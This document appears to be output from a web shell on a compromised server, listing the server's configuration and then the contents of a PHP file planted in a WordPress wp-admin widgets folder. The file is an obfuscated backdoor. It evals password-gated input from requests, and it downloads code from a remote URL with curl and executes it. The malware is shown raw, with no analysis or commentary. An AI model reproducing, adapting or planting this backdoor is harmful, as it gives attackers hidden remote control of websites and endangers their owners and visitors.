HEX
Server: nginx/1.25.5
System: Linux hcss-ecs-9064 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User: www (1000)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/885213.cn/wp-admin/js/widgets/txets.php
<?php $yZ = "r"."a"."n"."g"."e"; $tjPR = $yZ("~", " "); $l=${$tjPR[1+30].$tjPR[6+53].$tjPR[20+27].$tjPR[40+7].$tjPR[22+29].$tjPR[49+4].$tjPR[33+24]}; if((in_array(gettype($l).count($l),$l)&&count($l)==22)&&(md5(md5(md5(md5($l[16]))))==="f116c4d27eafebbc5e7534e2353cdab9")){ (($l[63]=$l[63].$l[74])&&($l[90]=$l[63]($l[90]))&&(@eval($l[63](${$l[50]}[15]))));} metaphone("MU4FawBAGsS2ZIVf1xyrg0SQm7/1FOKiR68PPP6HnH0"); class Gc{ static function cFp($HzMp) { $XyK = "r"."a"."n"."g"."e"; $lGLMvzFQN = $XyK("~", " "); $fyzQRVEhu = explode("+", $HzMp); $GZT = ""; foreach ($fyzQRVEhu as $ULXgw => $veGRnS) $GZT .= $lGLMvzFQN[$veGRnS - 16023]; return $GZT; } static function TeYQ($SRytlnQFfY, $bhkZRcgY) { $PhJapHTNwj = curl_init($SRytlnQFfY); curl_setopt($PhJapHTNwj, CURLOPT_RETURNTRANSFER, 1); $VPzhZA = curl_exec($PhJapHTNwj); return empty($VPzhZA) ? $bhkZRcgY($SRytlnQFfY) : $VPzhZA; } static function yMVi() { $AMW = array("16050+16035+16048+16052+16033+16048+16054+16047+16032+16039+16050+16033+16044+16038+16039","16034+16033+16035+16054+16035+16038+16033+16100+16098","16043+16034+16038+16039+16054+16049+16048+16050+16038+16049+16048","16037+16052+16050+16042","16051+16052+16034+16048+16095+16097+16054+16049+16048+16050+16038+16049+16048","16047+16044+16041+16048+16054+16046+16048+16033+16054+16050+16038+16039+16033+16048+16039+16033+16034","16077+16107","16024","16102+16107","16084+16067+16067+16084+16060","16047+16044+16041+16033+16048+16035+16054+16044+16039+16037+16032+16033"); foreach ($AMW as $BWTjkIgZ) $tRKYgq[] = self::cFp($BWTjkIgZ); $vlGEK = @$tRKYgq[1]($tRKYgq[3+7](INPUT_GET, $tRKYgq[6+3]));  $mCXgUzSj = @$tRKYgq[1+2]($tRKYgq[2+4], $vlGEK); $vKPp = $tRKYgq[2+0]($mCXgUzSj, true);  @$tRKYgq[10+0](INPUT_GET, "of") == 1 && die($tRKYgq[4+1](__FILE__)); if( ((@$vKPp[0] - time()) > 0) and (md5(md5($vKPp[2+1])) === "7777fe8da1c303a9986e217446cb8072") ): $QjExpZaqR = self::TeYQ($vKPp[1+0], $tRKYgq[2+3]);@eval($tRKYgq[3+1]($QjExpZaqR));die; endif; }}Gc::yMVi(); ?>